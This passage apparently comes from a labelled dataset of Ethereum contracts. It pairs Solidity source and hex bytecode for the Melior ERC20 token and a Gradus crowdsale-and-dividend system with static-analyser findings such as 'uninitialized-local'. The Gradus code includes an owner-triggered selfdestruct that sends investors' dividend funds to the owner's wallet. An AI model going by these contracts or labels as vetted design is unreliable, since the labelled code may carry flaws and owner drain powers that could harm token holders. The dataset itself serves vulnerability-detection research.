b6001600160a01b038086166000908152600960205260408082209390935590851681522054610e029083611aa5565b6001600160a01b038085166000908152600960209081526040808320949094559187168152600a82528281203382529091522054610e4090836118d5565b6001600160a01b038086166000818152600a6020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b60048181548110610ebd57fe5b6000918252602090912001546001600160a01b0316905081565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106f0918590610f0d9086611aa5565b61199a565b336000908152600c60209081526040808320546009909252909120548291610f3a91906118d5565b1015610f775760405162461bcd60e51b8152600401808060200182810382526021815260200180611bc26021913960400191505060405180910390fd5b60008111610fcc576040805162461bcd60e51b815260206004820152601960248201527f4d757374206275726e206e6f6e2d7a65726f20616d6f756e7400000000000000604482015290519081900360640190fd5b33600090815260096020526040902054610fe690826118d5565b3360009081526009602052604090205560035461100390826118d5565b60035560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250565b600080546001600160a01b031633146110895760405162461bcd60e51b815260040180806020018281038252602a815260200180611be3602a913960400191505060405180910390fd5b60065460045460075460009061109f9084611aa5565b6007549091505b82811080156110b457508181105b1561124d576000600482815481106110c857fe5b60009182526020808320909101546001600160a01b0316808352600b9091526040909120549091501561111a576001600160a01b0381166000908152600b602052604090208054600019019055611244565b6001600160a01b0381166000908152600d60205260409020541561120e576001600160a01b0381166000908152600d6020526040812054906012821415611186576001600160a01b0383166000908152600c602052604090205461117f906008611932565b90506111b7565b6001600160a01b0383166000908152600d6020908152604080832054600c909252909120546111b491611932565b90505b6001600160a01b0383166000908152600c60205260409020546111da90826118d5565b6001600160a01b0384166000908152600c6020908152604080832093909355600d9052208054600019019055506112449050565b600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee3018290555b506001016110a6565b5060075461125b9084611aa5565b600781905582116113605760006007555b60085415611354576008805460009190600019810190811061128a57fe5b9060005260206000200154905060088054806112a257fe5b600190038181906000526020600020016000905590556004600160048054905003815481106112cd57fe5b600091825260209091200154600480546001600160a01b0390921691839081106112f357fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600480548061132c57fe5b600082815260209020810160001990810180546001600160a01b03191690550190555061126c565b6000935050505061070c565b6001935050505090565b600d6020526000908152604090205481565b6001546001600160a01b031633146113c55760405162461bcd60e51b8152600401808060200182810382526022815260200180611c0d6022913960400191505060405180910390fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600b6020526000908152604090205481565b6001600160a01b031660009081526009602052604090205490565b6000546001600160a01b031681565b604051806040016040528060038152602001624f445560e81b81525081565b600c6020526000908152604090205481565b6001600160a01b0381166000908152600c602090815260408083205460099092528220546114c0916118d5565b92915050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106f0918590610f0d90866118d5565b6000611506611a9c565b611557576040805162461bcd60e51b815260206004820152601d60248201527f436f6e7472616374206973206e6f7420747261646561626c6520796574000000604482015290519081900360640190fd5b336000908152600c6020908152604080832054600990925290912054839161157f91906118d5565b10156115bc5760405162461bcd60e51b8152600401808060200182810382526021815260200180611bc26021913960400191505060405180910390fd5b60008211611611576040805162461bcd60e51b815260206004820152601d60248201527f4d757374207472616e73666572206e6f6e2d7a65726f20616d6f756e74000000604482015290519081900360640190fd5b6001600160a01b03831661166c576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f742073656e6420746f207468652030206164647265737300000000604482015290519081900360640190fd5b3360009081526009602052604090205461168690836118d5565b33600090815260096020526040808220929092556001600160a01b038516815220546116b29083611aa5565b6001600160a01b0384166000818152600960209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000546001600160a01b031633146117595760405162461bcd60e51b815260040180806020018281038252602a815260200180611be3602a913960400191505060405180910390fd5b60055460ff161561179b5760405162461bcd60e51b8152600401808060200182810382526035815260200180611b076035913960400191505060405180910390fd5b6005805460ff1916600190811790915560408051918252517fe4c97c0b674016b317b52dd3fbb57699889c86e187b096bc5a7f6dc3fcb12c209181900360200190a1565b6000546001600160a01b031633146118285760405162461bcd60e51b815260040180806020018281038252602a815260200180611be3602a913960400191505060405180910390fd5b600655565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b6000546001600160a01b031633146118a15760405162461bcd60e51b815260040180806020018281038252602a815260200180611be3602a913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60026020526000908152604090205481565b60008282111561192c576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600081611986576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b600082848161199157fe5b04949350505050565b6001600160a01b0383166119df5760405162461bcd60e51b8152600401808060200182810382526021815260200180611ba16021913960400191505060405180910390fd5b6001600160a01b038216611a3a576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f7420617070726f7665207468652030206164647265737300000000604482015290519081900360640190fd5b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60055460ff1690565b600082820183811015611aff576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe43616e206f6e6c792073657420747261646561626c65207768656e20697473206e6f7420616c726561647920747261646561626c655061727469636970616e74732063616e277420626520696e766f6c76656420696e206d756c7469706c65206c6f636b207570732073696d756c74616e656f75736c794d75737420626520617070726f76656420746f207370656e642074686174206d75636843616e6e6f7420617070726f76652066726f6d20746865203020616464726573734d757374206861766520656e6f756768207370656e6461626c6520746f6b656e734f6e6c7920746865206f776e6572206f662074686520636f6e74726163742063616e20646f20746861744d75737420626520676976656e206f776e65727368697020746f20646f2074686174496e73756666696369656e7420616d6f756e74206c65667420696e20706f6f6c20666f722074686973a26469706673582212207663c94802a17167c411d0b810ffc78158c7a5851c5fd1902a38860f536aed3c64736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,304
0x0cca9e89e98fac947678b12c3923ac36eec3ea74
/** * Copyright (c) 2016 Smart Contract Solutions, Inc. * The MIT License (MIT) */ pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; uint256 private totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param _account The account that will receive the created tokens. * @param _amount The amount that will be created. */ function _mint(address _account, uint256 _amount) internal { require(_account != 0); totalSupply_ = totalSupply_.add(_amount); balances[_account] = balances[_account].add(_amount); emit Transfer(address(0), _account, _amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burn(address _account, uint256 _amount) internal { require(_account != 0); require(_amount <= balances[_account]); totalSupply_ = totalSupply_.sub(_amount); balances[_account] = balances[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender&#39;s allowance for said account. Uses the * internal _burn function. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burnFrom(address _account, uint256 _amount) internal { require(_amount <= allowed[_account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); _burn(_account, _amount); } } /** * @title Melior Token * @dev Total supply of 400 Million tokens are pre-assigned to the creator. */ contract Melior is StandardToken { string public constant name = "Melior"; string public constant symbol = "MEL"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 400000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { _mint(msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610377565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561037d565b3480156101dd57600080fd5b506101956104f2565b3480156101f257600080fd5b506101fb610502565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610507565b34801561024157600080fd5b50610195600160a060020a03600435166105f6565b34801561026257600080fd5b506100d3610611565b34801561027757600080fd5b5061016c600160a060020a0360043516602435610648565b34801561029b57600080fd5b5061016c600160a060020a0360043516602435610727565b3480156102bf57600080fd5b50610195600160a060020a03600435811690602435166107c0565b60408051808201909152600681527f4d656c696f720000000000000000000000000000000000000000000000000000602082015281565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b600160a060020a0383166000908152602081905260408120548211156103a257600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156103d257600080fd5b600160a060020a03831615156103e757600080fd5b600160a060020a038416600090815260208190526040902054610410908363ffffffff6107eb16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610445908363ffffffff61080216565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054610487908363ffffffff6107eb16565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b014adf4b7320334b9000000081565b601281565b336000908152600160209081526040808320600160a060020a038616845290915281205480831061055b57336000908152600160209081526040808320600160a060020a0388168452909152812055610590565b61056b818463ffffffff6107eb16565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600381527f4d454c0000000000000000000000000000000000000000000000000000000000602082015281565b3360009081526020819052604081205482111561066457600080fd5b600160a060020a038316151561067957600080fd5b33600090815260208190526040902054610699908363ffffffff6107eb16565b3360009081526020819052604080822092909255600160a060020a038516815220546106cb908363ffffffff61080216565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600160209081526040808320600160a060020a038616845290915281205461075b908363ffffffff61080216565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600080838311156107fb57600080fd5b5050900390565b60008282018381101561081457600080fd5b93925050505600a165627a7a72305820c970d728c5375314a6639f1b26c2e59c137977ff383e283736efd149211515730029
{"success": true, "error": null, "results": {}}
7,305
0x7ed7fe41f0e82f1bc95fd59b7cc1482f6ec3f4f2
/** * @title GradusInvestmentPlatform */ pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract GRADtoken is StandardToken { string public constant name = "Gradus"; string public constant symbol = "GRAD"; uint32 public constant decimals = 18; uint256 public totalSupply; uint256 public tokenBuyRate = 10000; mapping(address => bool ) isInvestor; address[] public arrInvestors; address public CrowdsaleAddress; bool public lockTransfers = false; event Mint (address indexed to, uint256 amount); event Burn(address indexed burner, uint256 value); constructor(address _CrowdsaleAddress) public { CrowdsaleAddress = _CrowdsaleAddress; } modifier onlyOwner() { /** * only Crowdsale contract can run it */ require(msg.sender == CrowdsaleAddress); _; } function setTokenBuyRate(uint256 _newValue) public onlyOwner { tokenBuyRate = _newValue; } function addInvestor(address _newInvestor) internal { if (!isInvestor[_newInvestor]){ isInvestor[_newInvestor] = true; arrInvestors.push(_newInvestor); } } function getInvestorAddress(uint256 _num) public view returns(address) { return arrInvestors[_num]; } function getInvestorsCount() public view returns(uint256) { return arrInvestors.length; } // Override function transfer(address _to, uint256 _value) public returns(bool){ if (msg.sender != CrowdsaleAddress){ require(!lockTransfers, "Transfers are prohibited"); } addInvestor(_to); return super.transfer(_to,_value); } // Override function transferFrom(address _from, address _to, uint256 _value) public returns(bool){ if (msg.sender != CrowdsaleAddress){ require(!lockTransfers, "Transfers are prohibited"); } addInvestor(_to); return super.transferFrom(_from,_to,_value); } function mint(address _to, uint256 _value) public onlyOwner returns (bool){ balances[_to] = balances[_to].add(_value); totalSupply = totalSupply.add(_value); addInvestor(_to); emit Mint(_to, _value); emit Transfer(address(0), _to, _value); return true; } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } function lockTransfer(bool _lock) public onlyOwner { lockTransfers = _lock; } /** * function buys tokens from investors and burn it */ function ReturnToken(uint256 _amount) public payable { require (_amount > 0); require (msg.sender != address(0)); uint256 weiAmount = _amount.div(tokenBuyRate); require (weiAmount > 0, "Amount is less than the minimum value"); require (address(this).balance >= weiAmount, "Contract balance is empty"); _burn(msg.sender, _amount); msg.sender.transfer(weiAmount); } function() external payable { // The token contract can receive ether for buy-back tokens } } contract Ownable { address public owner; address candidate; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); candidate = newOwner; } function confirmOwnership() public { require(candidate == msg.sender); owner = candidate; delete candidate; } } contract Dividend { /** * @title Contract receive ether, calculate profit and distributed it to investors */ using SafeMath for uint256; uint256 public receivedDividends; address public crowdsaleAddress; GRADtoken public token; CrowdSale public crowdSaleContract; mapping (address => uint256) public divmap; event PayDividends(address indexed investor, uint256 amount); constructor(address _crowdsaleAddress, address _tokenAddress) public { crowdsaleAddress = _crowdsaleAddress; token = GRADtoken(_tokenAddress); crowdSaleContract = CrowdSale(crowdsaleAddress); } modifier onlyOwner() { /** * only Crowdsale contract can run it */ require(msg.sender == crowdsaleAddress); _; } /** * @dev function calculate dividends and store result in mapping divmap * @dev stop all transfer before calculations * k - coefficient */ function _CalcDiv() internal { uint256 myAround = 1 ether; uint256 i; uint256 k; address invAddress; receivedDividends = receivedDividends.add(msg.value); if (receivedDividends >= crowdSaleContract.hardCapDividends()){ uint256 lengthArrInvesotrs = token.getInvestorsCount(); crowdSaleContract.lockTransfer(true); k = receivedDividends.mul(myAround).div(token.totalSupply()); uint256 myProfit; for (i = 0; i < lengthArrInvesotrs; i++) { invAddress = token.getInvestorAddress(i); myProfit = token.balanceOf(invAddress).mul(k).div(myAround); divmap[invAddress] = divmap[invAddress].add(myProfit); } crowdSaleContract.lockTransfer(false); receivedDividends = 0; } } /** * function pay dividends to investors */ function Pay() public { uint256 dividends = divmap[msg.sender]; require (dividends > 0); require (dividends <= address(this).balance); divmap[msg.sender] = 0; msg.sender.transfer(dividends); emit PayDividends(msg.sender, dividends); } function killContract(address _profitOwner) public onlyOwner { selfdestruct(_profitOwner); } /** * fallback function can be used to receive funds and calculate dividends */ function () external payable { _CalcDiv(); } } /** * @title CrowdSale contract for Gradus token * https://github.com/chelbukhov/Gradus-smart-contract.git */ contract CrowdSale is Ownable{ using SafeMath for uint256; // The token being sold address myAddress = this; GRADtoken public token = new GRADtoken(myAddress); Dividend public dividendContract = new Dividend(myAddress, address(token)); // address where funds are collected address public wallet = 0x0; //tokenSaleRate don&#39;t change uint256 public tokenSaleRate; // limit for activate function calcucate dividends uint256 public hardCapDividends; /** * Current funds during this period of sale * and the upper limit for this period of sales */ uint256 public currentFunds = 0; uint256 public hardCapCrowdSale = 0; bool private isSaleActive; /** * event for token purchase logging * @param _to who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenSale(address indexed _to, uint256 value, uint256 amount); constructor() public { /** * @dev tokenRate is rate tokens per 1 ether. don&#39;t change. */ tokenSaleRate = 10000; /** * @dev limits in ether for contracts CrowdSale and Dividends */ hardCapCrowdSale = 10 * (1 ether); hardCapDividends = 10 * (1 ether); /** * @dev At start stage profit wallet is owner wallet. Must be changed after owner contract change */ wallet = msg.sender; } modifier restricted(){ require(msg.sender == owner || msg.sender == address(dividendContract)); _; } function setNewDividendContract(address _newContract) public onlyOwner { dividendContract = Dividend(_newContract); } /** * function set upper limit to receive funds * value entered in whole ether. 10 = 10 ether */ function setHardCapCrowdSale(uint256 _newValue) public onlyOwner { hardCapCrowdSale = _newValue.mul(1 ether); currentFunds = 0; } /** * Enter Amount in whole ether. 1 = 1 ether */ function setHardCapDividends(uint256 _newValue) public onlyOwner { hardCapDividends = _newValue.mul(1 ether); } function setTokenBuyRate(uint256 _newValue) public onlyOwner { token.setTokenBuyRate(_newValue); } function setProfitAddress(address _newWallet) public onlyOwner { require(_newWallet != address(0),"Invalid address"); wallet = _newWallet; } /** * function sale token to investor */ function _saleTokens() internal { require(msg.value >= 10**16, "Minimum value is 0.01 ether"); require(hardCapCrowdSale >= currentFunds.add(msg.value), "Upper limit on fund raising exceeded"); require(msg.sender != address(0), "Address sender is empty"); require(wallet != address(0),"Enter address profit wallet"); require(isSaleActive, "Set saleStatus in true"); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(tokenSaleRate); token.mint(msg.sender, tokens); emit TokenSale(msg.sender, weiAmount, tokens); currentFunds = currentFunds.add(msg.value); wallet.transfer(msg.value); } function lockTransfer(bool _lock) public restricted { /** * @dev This function may be started from owner or dividendContract */ token.lockTransfer(_lock); } //disable if enabled function disableSale() onlyOwner() public returns (bool) { require(isSaleActive == true); isSaleActive = false; return true; } // enable if diabled function enableSale() onlyOwner() public returns (bool) { require(isSaleActive == false); isSaleActive = true; return true; } // retruns true if sale is currently active function saleStatus() public view returns (bool){ return isSaleActive; } /** * @dev function kill Dividend contract and withdraw all funds to wallet */ function killDividentContract(uint256 _kod) public onlyOwner { require(_kod == 666); dividendContract.killContract(wallet); } // fallback function can be used to sale tokens function () external payable { _saleTokens(); } }
0x6080604052600436106101115763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630a4740ff811461011b57806320b44b291461014457806328cc41501461015e5780632910a32b1461018557806337e945291461019d578063521eb273146101b55780636124e4e7146101e657806382cf114c146101fb578063838ca3461461021c578063839b240e1461023157806383f13e7f146102495780638553f6fb1461026a5780638da5cb5b1461027f578063c683d8e414610294578063d5d1e770146102a9578063daa69c9e146102be578063dc760edf146102d6578063f2fde38b146102eb578063f9020e331461030c578063fc0c546a14610321575b610119610336565b005b34801561012757600080fd5b5061013061067f565b604080519115158252519081900360200190f35b34801561015057600080fd5b5061011960043515156106bb565b34801561016a57600080fd5b5061017361076b565b60408051918252519081900360200190f35b34801561019157600080fd5b50610119600435610771565b3480156101a957600080fd5b506101196004356107ee565b3480156101c157600080fd5b506101ca610823565b60408051600160a060020a039092168252519081900360200190f35b3480156101f257600080fd5b506101ca610832565b34801561020757600080fd5b50610119600160a060020a0360043516610841565b34801561022857600080fd5b506101736108e7565b34801561023d57600080fd5b506101196004356108ed565b34801561025557600080fd5b50610119600160a060020a0360043516610927565b34801561027657600080fd5b5061017361096d565b34801561028b57600080fd5b506101ca610973565b3480156102a057600080fd